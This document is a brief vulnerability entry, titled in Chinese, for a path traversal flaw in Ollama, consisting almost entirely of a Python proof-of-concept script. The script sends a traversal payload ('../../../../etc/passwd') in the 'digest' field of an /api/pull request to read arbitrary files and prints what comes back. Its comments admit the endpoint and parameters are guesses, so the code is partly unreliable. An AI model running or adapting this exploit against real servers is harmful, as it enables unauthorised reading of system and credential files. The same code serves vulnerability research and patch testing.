CVE-2026-7020 Ollama 路径遍历漏洞

import requests # PoC for CVE-2026-7020: Path Traversal in Ollama # Target: Ollama < 0.20.2 # Description: Manipulating the 'digest' argument in the transfer handler to read arbitrary files. target_url = "http://localhost:11434/api/pull" # Example endpoint, actual endpoint may vary based on API implementation of transfer # Malicious digest containing path traversal sequence # Attempting to access /etc/passwd (Linux) or C:\Windows\win.ini (Windows) malicious_digest = "../../../../../../../../etc/passwd" payload = { "digest": malicious_digest, # Other required parameters for the transfer handler might be needed } try: response = requests.post(target_url, json=payload, timeout=10) if response.status_code == 200: print("[+] Potential successful exploitation detected.") print("[+] Response body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")